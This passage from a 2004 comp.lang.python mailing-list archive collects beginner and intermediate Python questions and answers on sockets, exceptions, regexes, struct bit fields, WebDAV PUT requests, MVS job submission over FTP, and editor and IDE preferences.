differentiate between having a bad server and the client not having a > connection). Further, if it waits (say 30s) for the timeout to occur, > this is going to be a bit annoying to the user. another solution would be to use asynchronous sockets, and only up- date the local cache when you get new data from the server (set a flag in the user interface if the server times out; if all channels are flagged, the users will probably figure things out by themselves). bits and pieces: http://effbot.org/zone/effnews-1.htm (asynchronous client) http://effbot.org/zone/effnews-2.htm (parsing) http://effbot.org/zone/effnews-3.htm (connection management) From aleaxit at yahoo.com Tue Sep 28 15:00:06 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 28 Sep 2004 21:00:06 +0200 Subject: re-entering in the normal flow after an exception is raised References: <4edc17eb.0409280817.27ef4f43@posting.google.com> Message-ID: <1gkucfb.1kl4cxm1yw6dq2N%aleaxit@yahoo.com> Michele Simionato wrote: > I think I want "re-entrant exceptions" (not sure if this is the > correct name). "resumable" is more common, I believe. > Is there some elegant or hackish way to get this? I think not. You may read in Stroustrup's book about C++'s design and evolution how he was convinced to abandon resumable exceptions by experiences in another language, where they just didn't pay for their huge complexity -- they seem a good idea, but don't prove to be... they're not used often enough to justify their complexity, in practice (designing your software well enough that exceptions do not _need_ resumption isn't that big a deal). If something is too complicated for C++, I would assume it's WAY too complicated for Python. So, I'm pretty happy Python's exceptions (like C++'s, Java's, C#'s, ...) are non-resumable! Alex From peterj at mail.com Tue Sep 21 05:49:30 2004 From: peterj at mail.com (Peter Jensen) Date: Tue, 21 Sep 2004 11:49:30 +0200 Subject: Error with output from a variable.... References: <414f740c$0$13806$ba624c82@nntp05.dk.telia.net> <414f76c3$0$13805$ba624c82@nntp05.dk.telia.net> Message-ID: <414ff91a$0$25959$ba624c82@nntp03.dk.telia.net> Hi Dennis. Thanks for your input, I will look at it now. I only put in a bit of my code in the message i posted so that it didn't get to long. The whole code is: I will try take a look at your suggestion now. Thanks for your time :) import string true = 1 false = 0 def udskriv_stud(studs): print "De studerende i gruppen er:" for x in studs.keys(): print "Navn: ",x," \tAarskortnummer: ", studs[x], "\tAdresse:" ,adresse, print "" print def tilfoej_stud(navn,aarskortnummer,stud,adresse): navn[aarskortnummer] = stud def find_stud(numbers,name): if numbers.has_key(name): return "Aarskortnummeret er: "+numbers[name] else: print name, "findes ikke:" def slet_stud(numbers,name): if numbers.has_key(name): del numbers[name] else: print name," was not found" def load_stud(students,filename): in_file = open(filename,"r") while true: in_line = in_file.readline() if in_line == "": break #remove newline in_line = in_line[:-1] student_list = string.split(in_line,",") student_name = student_list[0] int_grades = [] for grade in student_list[1:]: int_grades.append(int(grade)) students[student_name] = int_grades in_file.close() def save_stud(numbers,filename): out_file = open(filename,"w") for x in numbers.keys(): out_file.write(x+","+numbers[x]+"\n") out_file.close() def print_menu(): print "1. Udskriv de studerende i gruppen:" print "2. Tilfoej en studerende:" print "3. Fjern en studerende:" print "4. Find en studerendes aarskortnummer:" print "5. Hent oplysninger om de studerende:" print "6. Gem oplysninger om de studerende:" print "7. Afslut:" print phone_list = {} menu_choice = 0 print_menu() while menu_choice != 7: menu_choice = input("Type in a number (1-7):") if menu_choice == 1: udskriv_stud(phone_list) elif menu_choice == 2: print "Indtast navn og aarskortnummer:" navn = raw_input("Navn:") aarskortnummer = raw_input("aarskortnummer:") adresse = raw_input("Adresse:") tilfoej_stud(phone_list,navn,aarskortnummer,adresse) elif menu_choice == 3: print "Slet Navn og Aarskortnummer" navn = raw_input("Navn:") slet_stud(phone_list,navn) elif menu_choice == 4: print "Find en studerende" navn = raw_input("Navn:") print find_stud(phone_list,navn) elif menu_choice == 5: filename = raw_input("Hvilken fil skal loades:") load_stud(phone_list,filename) elif menu_choice == 6: filename = raw_input("Under hvilket navn skal filen gemmes:") save_stud(phone_list,filename) elif menu_choice == 7: pass else: print_menu() print "Ha en fantastisk dag :D" "Dennis Lee Bieber" wrote in message news:m5cvk0t97vh64brftjc0c5d472tbsubh0b at 4ax.com... > On Tue, 21 Sep 2004 02:34:19 +0200, "Peter Jensen" > declaimed the following in comp.lang.python: > >> The def i call in the last line of the code starting with elif >> menu_choice >> ==2 is: >> >> def tilfoej_stud(navn,aarskortnummer,stud,adresse): >> navn[aarskortnummer] = stud > > But where do you save the address? > > I didn't include any file save/restore code here -- everything > is lost when you exit... > > -------------------------------------------------------------------------- > menu = """ > > 1 = display student by number > 2 = add student by number > 3 = change student address by student number > 4 = change student name by student number > 5 = exit > """ > > students = {} > > def print_student(number, name, address): > print "\tStudent #:\t%s" % number > print "\t\tName:\t%s" % name > print "\t\tAddress:\t%s" % address > print "" > > if __name__ == "__main__": > process = True > while process: > print menu > ans = int(raw_input("Enter choice> ")) > if ans == 1: > number = raw_input("Enter student number> ") > try: > (n, a) = students[number] > print_student(number, n, a) > except: > print "There is no student with the number: %s" % number > elif ans == 2: > number = raw_input("Enter new student number>") > if students.has_key(number): > print "That student number is already in use" > else: > name = raw_input("Enter student name> ") > address = raw_input("Enter student address> ") > students[number] = (name, address) > elif ans == 3: > number = raw_input("Enter student number> ") > if students.has_key(number): > print_student(number, students[number](0), > students[number](1)) > address = raw_input("Enter new address> ") > students[number] = (students[number](0), address) > else: > print "There is no student with the number: %s" % number > elif ans == 4: > number = raw_input("Enter student number> ") > if students.has_key(number): > print_student(number, students[number](0), > students[number](1)) > name = raw_input("Enter new name> ") > students[number] = (name, students[number](1)) > else: > print "There is no student with the number: %s" % number > elif ans == 5: > process = False > else: > print "That is not a valid choice" > ----------------------------------------------------------------------------------- > > > -- > > ============================================================== < > > wlfraed at ix.netcom.com | Wulfraed Dennis Lee Bieber KD6MOG < > > wulfraed at dm.net | Bestiaria Support Staff < > > ============================================================== < > > Home Page: < > > Overflow Page: < From opengeometry at yahoo.ca Fri Sep 10 15:06:36 2004 From: opengeometry at yahoo.ca (William Park) Date: 10 Sep 2004 19:06:36 GMT Subject: Using re to get data from text file: SOLVED References: <2qdtfbFto5rlU1@uni-berlin.de> Message-ID: <2qec9rFuk5g1U1@uni-berlin.de> Jocknerd wrote: > >> 09/04/2004 Virginia 44 Temple 14 > >> 09/04/2004 LSU 22 Oregon State 21 > >> 09/09/2004 Troy State 24 Missouri 14 > > Your format is a bit complicated since team's name can be variable > > words. But, I'm assuming that they don't have any digit as part of > > their name. So, use '\d+' to separate the fields. Eg. > > re.split ('\d+', line) > > re.split ('(\d+)', line) > > re.split ('(\d+)', line[10:]) > > Couldn't figure out re.split. Didn't seem to do what I wanted. Here's > what did work: > > #!/usr/bin/python > > import re > filename = sys.argv[1] > file = open (filename, 'r') > > schedule = [] > > pattern = re.compile(r'^(.*\D\d+\D\d+)\D(.*)\D(.*\d+)\D(.*)\D(.*\d+)(.*)$') > while True: > line = file.readline() > if not line: break > g = {} > g['date'], g['team1'], g['score1'], g['team2'], > g['score2'],g['location'] = pattern.search(line).groups() > schedule.append(g) > file.close() > > for game in schedule: > print game['date'], game['team1'], game['score1'], game['team2'], > game['score2'] In Bash shell, this kind of cut/slicing is a bit easier. 1. line='09/09/2004 Troy State 24 Missouri 14' sscanf "$line" '%s %[^0-9] %[0-9] %[^0-9] %[0-9]' date team1 score1 team2 score2 declare -p date team1 score1 team2 score2 2. line='09/09/2004 Troy State 24 Missouri 14' match "$line" '([0-9/]*) ([^0-9]*) ([0-9]*) ([^0-9]*) ([0-9]*)' a date=a[1] team1=a[2] score1=a[3] team2=a[4] score2=a[5] declare -p date team1 score1 team2 score2 Ref: http://freshmeat.net/projects/bashdiff/ http://home.eol.ca/~parkw/index.html#bash help sscanf help match -- William Park Open Geometry Consulting, Toronto, Canada From ruchika_khera at hotmail.com Thu Sep 9 01:43:26 2004 From: ruchika_khera at hotmail.com (Ruchika) Date: 8 Sep 2004 22:43:26 -0700 Subject: print and % operator Message-ID: <82880e86.0409082143.7e50aa98@posting.google.com> Hi, I am new to Python, so this may be a very simple question for most of you. What does the % operator stand for in Python? I came across a script that uses the % operator as follows - def sync(delf,name): os.popen3( 'P4 -s sync -f %s' % name) I would suspect that this just replaces the %s with the value of name. Is % before name required? Should there be a space between % and name? On a similar note, how can I print the value of name using the print statement? Should print %name print the value of name? Most of the time, when I add some print statements to my script I get Autoindent error. Can someone tell me what this error is and how to fix it? Thanks for your help. Ruchika From tim.peters at gmail.com Sun Sep 12 17:57:55 2004 From: tim.peters at gmail.com (Tim Peters) Date: Sun, 12 Sep 2004 17:57:55 -0400 Subject: MD5 and SHA cracked/broken... In-Reply-To: References: <7xacvwn01v.fsf@ruckus.brouhaha.com> Message-ID: <1f7befae0409121457b1c9dff@mail.gmail.com> [Bengt Richter] > Others may have received that correctly, but between some systems and mine > '=' seems to get re-encoded as '=3D' (including in S and T). I think that was on my end. Because the person I was replying to had "a funny character" in their name, which I quoted, gmail decided to use quoted-printable to encode my msg. Changing = to =3D, and changing the funny character in the OP's name to =E1, should have been the only changes that made. It remains curious that whatever you're using to *read* the message didn't decode that, though. From Scott.Daniels at Acm.Org Tue Sep 21 14:38:47 2004 From: Scott.Daniels at Acm.Org (Scott David Daniels) Date: Tue, 21 Sep 2004 11:38:47 -0700 Subject: [offtopic] C programming newsgroup In-Reply-To: References: <414db89e$0$15754$7a628cd7@news.club-internet.fr> <414dba74$0$62444$a1866201@newsreader.visi.com> Message-ID: <415079b1$1@nntp0.pdx.net> Cameron Laird wrote: > ... even *mention* > of "C/C++" seems capable of inciting lawsuits over there. I couldn't pass this up: Generally the answer is 1 for integer types and 1.0 for floating point types. However, you can run into troubles dividing by 0. { int C = 5; printf('int: C/C++ = %d', C/C++); } { double C = 3.1415; printf('double: C/C++ = %d', C/C++); } ... From David.OFarrell at ericsson.com Thu Sep 23 05:22:46 2004 From: David.OFarrell at ericsson.com (David O'Farrell) Date: Thu, 23 Sep 2004 10:22:46 +0100 Subject: floating point glitch Message-ID: <415295E6.9040602@ericsson.com> Is this only on solaris ? Python 2.3.3 (#1, Mar 19 2004, 16:18:33) [GCC 2.95.2 19991024 (release)] on sunos5 Type "help", "copyright", "credits" or "license" for more information. >>> a=[66.6, 333, 333, 1, 1234.5] >>> print a.count(333), a.count(66.6), a.count('x') 2 1 0 >>> a.append(333) >>> print a [66.599999999999994, 333, 333, 1, 1234.5, 333] From fperez528 at yahoo.com Mon Sep 27 18:22:01 2004 From: fperez528 at yahoo.com (Fernando Perez) Date: Mon, 27 Sep 2004 16:22:01 -0600 Subject: batch pretty (color) print of python code? References: Message-ID: Humpdydum wrote: > Any freeware/open-source that does that? Windows- OR Linux-based is fine. On > Linux it would be s/t like "pyprint -r *.py > out.ps" where -r indicates > recursive. Done a search on google and nothing solid comes up. So far I've > been using Boa's print feature, which means one file at a time, tedious. > Thanks, > Oliver You said linux was OK. A simple enscript alias works wonders: planck[python]> which codeprint codeprint: ein Alias fur enscript -G2rjE --color !* planck[python]> which codeps codeps: ein Alias fur enscript -G2rjE --color -o !*.ps !*; gv !*.ps That's what I use for all kinds of source, it does a pretty decent job with python (and knows about C, C++, perl,...) Cheers, f From tjreedy at udel.edu Mon Sep 20 18:44:48 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Mon, 20 Sep 2004 18:44:48 -0400 Subject: Calculating days using Business Days for the Calendar References: Message-ID: "David Stockwell" wrote in message news:BAY2-F9sQwY6YHkidcD00040f78 at hotmail.com... >I''m wondering if the Calendar object has an option to only do >calculations based on business days (ie M-F). Hmmm. Identification of 'business days' with {M-F} is rather Western/Christian subculturally specific. Any official part of the Python library should allow input of the day range desired. I recognized that the Roman-based calendar also has competitors, but it has been internationalized so that it is everywhere either officially used or officially convertable to alternatives and is globally used by many international groupings, including the Internet. > Additionally does it have a way to get holidays into itself? And how would you propose to define 'holiday'? The US Federal government, the Delaware State government, and (I believe) the University of Delaware have three slightly different lists, as do other organizations that operate in this small area of the globe. So this would also have to be user-input. One might even need multiple lists. Third party modules can do whatever they want (preferably documented). Terry J. Reedy From lbates at swamisoft.com Wed Sep 8 09:59:56 2004 From: lbates at swamisoft.com (Larry Bates) Date: Wed, 8 Sep 2004 08:59:56 -0500 Subject: Using Python to generate code? References: Message-ID: <3c2dnf0NOYPEjaLcRVn-tg@comcast.com> I use Python to generate quite a bit of HTML and JavaScript code and it works very well. If you can use Python's classes to abstract individual elements and give each of them a __str__ method you can build very complex code generator classes that know how to render their own output. Larry Bates Syscon, Inc. "Tran Tuan Anh" wrote in message news:ed89f8f2.0409072251.2152c22b at posting.google.com... > Dear all: > > I need your advice on this matter. I am working on a program which > takes some pieces of System-C code in and generate some other System-C > code. (System-C code is just C++ with some special libraries, hence > you can consider it as C++). > > Right now, the generator program is written in C++. And I feel not so > comfortable with C++. I feel C++ is an overkill. Because, I need to > generate some code, hence in the program there are a lot of something > like this: > > printf(out, "for (%s = 1, %s < %s, %s < %s )", varName, varName, > varName1, varname, varName2); > > It is just too messy if I have more than 20 lines like this. > > So my question is: > 1. Can Python help to solve this issue? > 2. Does Python has a parser? It seems to me that there is no-standard > Parser for Python right now. If it is the case, can I interface Python > with existing cup and lex? > > Many thanks! > Tuan Anh > P/S: Also because it is NO big code generator, it only needs to > generate some simple codes. Hence, using some abstract-syntax-tree > library is also too an overkill. From john.thingstad at chello.no Mon Sep 6 18:06:06 2004 From: john.thingstad at chello.no (John Thingstad) Date: Tue, 07 Sep 2004 00:06:06 +0200 Subject: Xah Lee's Unixism References: <413af268$0$19706$61fed72c@news.rcn.com> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> Message-ID: On Mon, 6 Sep 2004 18:56:33 +0200, Morten Reistad wrote: > In article <413c5b9c$0$19705$61fed72c at news.rcn.com>, > wrote: > TCP/IP was launched in 1982, and the Internet (or the Arpanet, rather) > converted Jan 1st 1983; with final NCP service turned off everywhere > by mid march 1983. > > Tops20 has an IP package; but it was pretty rudimentary in version 4, > and not quite complete even by those standards even in version 7. > > .. mrr > > Internet was discovered long before this. (In 1965 a research project, by the Rand cooperation, for a network that could survive a nuclear attack. Sponsored by DARPA. These is the real creators of the Internet technology. Not Unix hackers.) It was the realization of www (CERN) that spawned the movement toward the Internet. So the year in question is about 1987. -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ From shalabh at cafepy.com Wed Sep 1 17:57:57 2004 From: shalabh at cafepy.com (Shalabh Chaturvedi) Date: Wed, 01 Sep 2004 14:57:57 -0700 Subject: negative stride list slices In-Reply-To: References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <2pmj4aFmofl2U1@uni-berlin.de> Message-ID: Shalabh Chaturvedi wrote: > I'd like to add: > > +---+---+---+---+---+ > | H | e | l | p | A | > +---+---+---+---+---+ > 0 1 2 3 4 5 > -5 -4 -3 -2 -1 > | | > start end (defaults for +ve step) > end start (defaults for -ve step) > > (Is this correct?) Apparently not. >>> "HelpA"[-1:-2:-1] 'A' I would expect 'p'. Also, >>> "HelpA"[:-1:-1] '' And I definitely expected 'A'. Now I find it confusing too. Does anyone else find it intuitive to expect that S[b:a:-1] be exactly reverse of S[a:b:1]? This is only true for S[::1] and S[::-1]. In other cases, for -ve step, the -ve indices seem to indicate a shifted position. I'm using Python 2.3.3. -- Shalabh From roy at panix.com Fri Sep 10 09:35:27 2004 From: roy at panix.com (Roy Smith) Date: Fri, 10 Sep 2004 09:35:27 -0400 Subject: Is there no switch function in Python References: <1Zb*VOguq@news.chiark.greenend.org.uk> Message-ID: In article <1Zb*VOguq at news.chiark.greenend.org.uk>, Sion Arrowsmith wrote: > In article , > Rudi Hansen wrote: > >I dont seem to be able to find the switch statement in Python. > > > >I would like to be able to do > > > >switch(var) > > case 1 : > > print "var = 1" > > case 2: > > print "var = 2" > > 5 lines, 55 characters including the print statements. It's even longer if you include the required "break" statement at the end of case 1 (assuming you're talking about a C-style switch statement with fall-through cases). That being said, there are times when I miss switch. For some kinds of multi-branch logic, I think it expresses the meaning better than a string of if's. But it's hardly necessary. The real reason, IMHO, switch existed in C was because it would let the compiler build very efficient jump tables for switches with many cases. Imagine switching on the ascii value of a character and having a 128 different cases. The compiler could build a 128 entry jump table and the switch statement would compile down to a single machine instruction. From jeff at ccvcorp.com Fri Sep 24 13:49:37 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Fri, 24 Sep 2004 10:49:37 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. In-Reply-To: <1gkm0tv.1xasn1m14tgujgN%aleaxit@yahoo.com> References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> <1gkm0tv.1xasn1m14tgujgN%aleaxit@yahoo.com> Message-ID: <10l8ndokeuub5f2@corp.supernews.com> Alex Martelli wrote: >>ps, to any whackadoodles: no neocon conspiracy here, it just happens that >>when I was young my parents sent me to a place called "a school" >> >> > >Heh, I may be out of the current US cultural picture, I guess, but I >wouldn't particularly connect tarot and kabbalah to neocons... > > Ah, but there's plenty of thought about neocon ties to Israel (and the hard-line Zionist movement(s) there, in particular) and related (rumored) connections to extreme Millenial religious groups who'd be happy to see the arrival of Armageddon (and thus the Second Coming)... Mind you, I think that anyone who'd seriously connect the use of a Hebrew word to any of this *would* necessarily be a bit whackadoodle, but I've seen conspiracy theories supported by slimmer threads... Jeff Shannon Technician/Programmer Credit International From ialbert at mailblocks.com Wed Sep 22 12:46:03 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Wed, 22 Sep 2004 12:46:03 -0400 Subject: Efficient configuration storage In-Reply-To: <7e8c2ebd.0409220632.469b1fb6@posting.google.com> References: <7e8c2ebd.0409220632.469b1fb6@posting.google.com> Message-ID: sebsauvage wrote: > Would I have to store everything as text and cast it everywhere > it's used (and try/except each cast of course) ? > 'Looks ugly and inefficient to me. Are you sure that casting types onto configuration parameters will make webgobbler inefficient? And you don't have to catch the exceptions all the time, just once overall. Usually configuration files don't change that often and .ini file are very simple so it is easy to spot the cause of error. So it is not even ugly anymore. IMHO enforcing these types at load time is a good idea. Having to track down an error caused inside the program by a wrong type listed in a configuration file is not fun. Istvan. From kkrueger at example.edu Thu Sep 2 15:57:03 2004 From: kkrueger at example.edu (Karl A. Krueger) Date: Thu, 2 Sep 2004 19:57:03 +0000 (UTC) Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <877jrcjy1n.fsf@thalassa.informatimago.com> Message-ID: In comp.lang.lisp Pascal Bourguignon wrote: > "John Thingstad" writes: >> Note the Mac OS 10 / Darwin uses a unix kernel because of all the >> problems with interoperabillity OS 9 had with talking to Windows and >> Unix boxes. > > No that's not the reason. The reason is ONLY because of the lack of > virtual memory management (with separation of addressing spaces for > processes) in MacOS. It was my impression that the Motorola 68000 CPU, upon which the original Macintosh was based, did not support memory management in hardware. At least, that's usually given as the reason that portable Unix systems such as NetBSD will "never" run on the earlier 68k (or, for that matter, 8086 or 80286) chips. -- Karl A. Krueger Woods Hole Oceanographic Institution Email address is spamtrapped. s/example/whoi/ "Outlook not so good." -- Magic 8-Ball Software Reviews From pmaupin at speakeasy.net Wed Sep 29 15:37:28 2004 From: pmaupin at speakeasy.net (Patrick Maupin) Date: 29 Sep 2004 12:37:28 -0700 Subject: annoying behavior References: <9418be08.0409280856.9368ddf@posting.google.com> <41599BD7.7040809@bellsouth.net> <653b7547.0409281915.5ff0d92e@posting.google.com> <9418be08.0409290318.7c81750c@posting.google.com> Message-ID: <653b7547.0409291137.6846793e@posting.google.com> elbertlev at hotmail.com (Elbert Lev) wrote: > Making interpreter 100% "bullet prove" is impossible, finding errors, > which can be found, not only possible, but also very commendable. > > Isn't this obvious? Not yet, but once you submit a patch for the compiler which will do what you want (without slowing down imports tremendously for everybody else), I'm sure it will be such a thing of beauty that it will, in retrospect, be obvious, and you will be hailed by one and all as the man who finally added true error detection to Python. > Let's stop wasting time on this discussion and continue discussing > decorators :) I agree that this discussion is wasted on a man of your capabilities, but so is the discussion about decorators. I'd rather see that patch. Regards, Pat From eurleif at ecritters.biz Wed Sep 8 01:15:56 2004 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Wed, 08 Sep 2004 01:15:56 -0400 Subject: Remove items from a list In-Reply-To: References: Message-ID: <2q7ijiFon7ejU1@uni-berlin.de> Stan Cook wrote: > I was trying to take a list of files in a directory and remove all but the ".dbf" files. Assuming the variable "files" is the list of files: files = [fname for fname in files if fname.endswith('.dbf')] From eurleif at ecritters.biz Tue Sep 14 20:08:36 2004 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Tue, 14 Sep 2004 20:08:36 -0400 Subject: Subclassing in C In-Reply-To: References: <41470D3A.1040206@research.att.com> Message-ID: <2qpf83F12ff6iU1@uni-berlin.de> Michael Hudson wrote: > Iker Arizmendi writes: > >>(*) The class I'm deriving from is defined in another >>extension module and it has its own tp_getattr method. > > > Hmm. I take it *it's* tp_getattr[o] method isn't > PyObject_GenericGetAttr then? [Emphasis not mine.] Sorry, but Iker had it right and you had it wrong. "Its", with no apostrophe, is possessive; "it's", with an apostrophe, is a contraction of "it is". Therefor, "It's red." and "Its color is red." are both correct. From jzgoda at gazeta.usun.pl Sun Sep 19 04:14:12 2004 From: jzgoda at gazeta.usun.pl (Jarek Zgoda) Date: Sun, 19 Sep 2004 08:14:12 +0000 (UTC) Subject: Determining if a client PC has an Internet connection References: Message-ID: Cliff Wells pisze: > I'm writing an application that needs to know if an Internet connection > is available. Basically, I want to have something similar to what a lot > of email clients have, where the app can work either in "online" or > "offline" mode (it keeps a cache of downloaded info, so it can work > without a connection if needed). > > The basic problem is this: it downloads info (RSS feeds) from a variety > of sources. Any one (or more) of these could conceivably fail to > download, so simply waiting for a timeout isn't sufficient (not easy to > differentiate between having a bad server and the client not having a > connection). Further, if it waits (say 30s) for the timeout to occur, > this is going to be a bit annoying to the user. > > I've considered trying to connect to a stable host (i.e. Google) and if > that fails then assume the client can't connect to the internet, but > this seems like a sub-optimal solution. > > Is there any way to reliably determine the state of the client's > internet connectivity? No, there's no such way. You can try to connect to some "usually working & available" host, but there always may be some periods, when this host is not available (scheduled downtime, power outage, you name it). The hosts known for its greatest stability are root DNS servers. -- Jarek Zgoda http://jpa.berlios.de/ From ian at cottee.org Tue Sep 28 00:09:37 2004 From: ian at cottee.org (Ian J Cottee) Date: Tue, 28 Sep 2004 13:09:37 +0900 Subject: theme of the week: tools In-Reply-To: References: <41542230.3070808@bellsouth.net> Message-ID: <4158E401.5060509@cottee.org> Dan Perl wrote: > Right off the bat, the trial period was only 10 days. I've evaluated quite > a few tools that had a free trial period and I don't think I can remember of > ever having only 10 days before. Then, the GUI is kind of awkward in a few > places (the "project tree view", or something like that, and the toolbars). In fairness, the initial period is 10 days but it can be renewed at the end of that for another 10 days. The renewal procedure is done online and takes about 10 seconds. I also *think* that during the beta period you can repeatedly renew anyway. I agree with your comments about the GUI - it's just so busy but I feel that with all the alternatives. Apart from Emacs of course ;-). Ian From nikola at bonbon.net Thu Sep 30 12:53:30 2004 From: nikola at bonbon.net (Nikola Bjelicic) Date: Thu, 30 Sep 2004 18:53:30 +0200 Subject: simple socket code Message-ID: **** Post for FREE via your newsreader at post.usenet.com **** Please help me to put some content on apache + DAV server, whas wrong? [code] import socket, os, stat file=open('/home/nikola/somefile','rb') lenght=os.fstat(file.fileno())[stat.ST_SIZE] print lenght headers={} headers['Host']='localhost' headers['Authorization']='Basic bmlrb2xhOnRlc3Q=' headers['Accept-Encoding']='identity' headers['Content-Type']='application/octet-stream' headers['Content-Encoding']='None' headers['Content-Lenght']=lenght data = '%s %s %s\r\n' %('PUT', '/dav/test1','HTTP/1.1') for header, value in headers.items(): data += '%s: %s\r\n'%(header,value) data += '\r\n' sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('localhost', 80)) sock.send(data) sock.send(file.read()) #doesnt work why? response=sock.recv(2000) print response sock.close() [/code] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= *** Usenet.com - The #1 Usenet Newsgroup Service on The Planet! *** http://www.usenet.com Unlimited Download - 19 Seperate Servers - 90,000 groups - Uncensored -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= From python473 at yahoo.com Wed Sep 1 10:00:58 2004 From: python473 at yahoo.com (John Howard) Date: 1 Sep 2004 07:00:58 -0700 Subject: file access in jythonc References: <9eabe547.0408210611.d5e54f7@posting.google.com> <9eabe547.0408301406.2543e691@posting.google.com> <9eabe547.0408311130.73beef80@posting.google.com> Message-ID: <9eabe547.0409010600.4d566928@posting.google.com> "Diez B. Roggisch" wrote in message news:... > > So...are you saying it can be done? That is, a IE can access a local > > file (assuming it's there, of course) using a jythonc product? > > Question is -- HOW??? > > As I said - search google for JAVA APPLETS ACCESSING LOCAL FILES - then you > can do that using jython. As a matter of fact, the whole process has to do > with signing jars - nobody cares if these contain classes generated by > javac, jikes, jythonc or carefully handwritten jvm bytecode.... So does that mean that a jre does not have to be on the local pc? The local pc does not have to set policies, etc. If that is true, then all I've said about jython I take back. It is truly useful! From indigo at bitglue.com Mon Sep 13 13:47:35 2004 From: indigo at bitglue.com (Phil Frost) Date: Mon, 13 Sep 2004 13:47:35 -0400 Subject: struct->bit access In-Reply-To: <3b6f60de.0409130658.1ab6ec67@posting.google.com> References: <3b6f60de.0409130658.1ab6ec67@posting.google.com> Message-ID: <20040913174735.GB4287@unununium.org> It's not slow or complicated. Try something like this: import struct class Example(object): def __init__(data): '''data is a string of 4 bytes read from your input socket.''' (i,) = struct.unpack('!I', data) self.var1 = i & 7 self.var2 = (i >> 3) & 7 self.var3 = (i >> 6) & 1 self.var4 = (i >> 8) & 0xf self.var5 = (i >> 16) & 0xff You might want to change the format string for unpack() depending on the byte order of the input. has more information. On Mon, Sep 13, 2004 at 07:58:23AM -0700, Mike Spindler wrote: > I am passing structs via UDP socket to my Python app from an external > C program. The structure is made up almost entirely of bit fields. > > struct example: > unsigned int var1 : 3; > unsigned int var2 : 3; > unsigned int var3 : 1; > unsigned int pad1 : 1; > unsigned int var4 : 8; > unsigned int var5 : 16; > > Everything I've read so far says this is too complicated and slow for > Python - write it in C. Can someone point me to a good example of > extracting this and rebuilding using only Python? > Thank you! -Mike From programmer.py at gmail.com Mon Sep 13 10:05:40 2004 From: programmer.py at gmail.com (Jaime Wyant) Date: Mon, 13 Sep 2004 09:05:40 -0500 Subject: launching JCL on MVS In-Reply-To: <1095082883.249188@ftpgate> References: <1095065818.428799@ftpgate> <1095082883.249188@ftpgate> Message-ID: The code i showed you submitted a job to the mainframe via ftp. The catch was the JCL had to be in the CWD. I'm not sure how to submit a job that is *already* on the mainframe... A google pointed me here: http://www.wright.edu/cats/docs/docroom/mainframe/mvsftp.htm According to this document you: 1) create the JCL on the mainframe 2) issue this site command -> "SITE FILETYPE=JES" Using ftplib's FTP object, that would be: ftp.voidcmd( "quote site file=JES" ) 3) issue a GET command -> GET jclfilename outputfilename jclfilename is the job to submit. outputfilename holds the output of the job. I *think* you would use ftplib's retrlines function like so: ftp.retrlines( "GET jclfilename", cbfun ) Where cbfun is a callback function that will receive the output of the job one line at a time, sans the CR/LF. hth, jw On Mon, 13 Sep 2004 15:41:22 +0200, Chris wrote: > Thanks, but what does it do? Upload test.jcl and execute it? > Let's say that I already have a "TEST" JCL on the HOST, how can I execute it > via an FTP command? > > Chris > > "Jaime Wyant" a ?crit dans le message de news: > mailman.3230.1095079924.5135.python-list at python.org... > > > > Disclaimer - I've never used ftplib, so the code below hasn't actually > > been tested.. > > > > First, create some JCL. For this example assume it is test.jcl and it > > is in the CWD. > > > > # Connect to the server > > >>> from ftplib import FTP > > >>> ftp = FTP("hostname") # connect to host, default port > > >>> ftp.login("username", "password") > > > > # Tell the server you're about to send it some JCL to execute > > >>> ftp.voidcmd( "quote site file=JES" ) > > > > # Upload the JCL > > >>> print ftp.storlines( "STOR", file("test.jcl") ) > > > > The last command ought to print ought the Job ID (and a few other things). > > > > Good luck and let me know if that works for you. Also, some of those > > methods will raise exceptions if something goes wrong. Check out > > ftplib.py for good documentation. > > > > jw > > > > On Mon, 13 Sep 2004 10:56:57 +0200, Chris wrote: > > > Is it possible to use Python to launch JCL jobs on an IBM MVS HOST > (OS390) ? > > > > > > -- > > > http://mail.python.org/mailman/listinfo/python-list > > > > > > > > -- > http://mail.python.org/mailman/listinfo/python-list > From carribeiro at gmail.com Wed Sep 15 08:33:35 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 15 Sep 2004 09:33:35 -0300 Subject: i am going to get crazy!!! In-Reply-To: References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> Message-ID: <864d370904091505334d4227d9@mail.gmail.com> On Wed, 15 Sep 2004 15:06:04 +0900, Ian J Cottee wrote: > Carlos Ribeiro wrote: > > > -- There are two classes of developers: those who like IDEs and those > > who doesn't. (...) > > Must resist religious wars. Must resist religious wars BUT :-) ... Emacs > *is* an IDE. More integrated than many others. And to be fair VIM is an > IDE. Ian, I sincerely don't want to spawn a religious war. That's why I made my point clear: there are two types (classes?) of developers, and there's nothing wrong with it -- it's just a matter of choice, dictated to a great extent by their particular needs. Now, while *great* for what it's proposed to do, Emacs is not an IDE, in the sense that people that actually use IDEs mean. It's an editor (and a powerful one at this), but it's not an IDE. What *I* (and other IDE-lovers) mean when mentioning IDE is a different type of software. A true IDE is a one-stop-shop. There you do everything a programmer need: write code, debug, manage source code files, read help, and even write 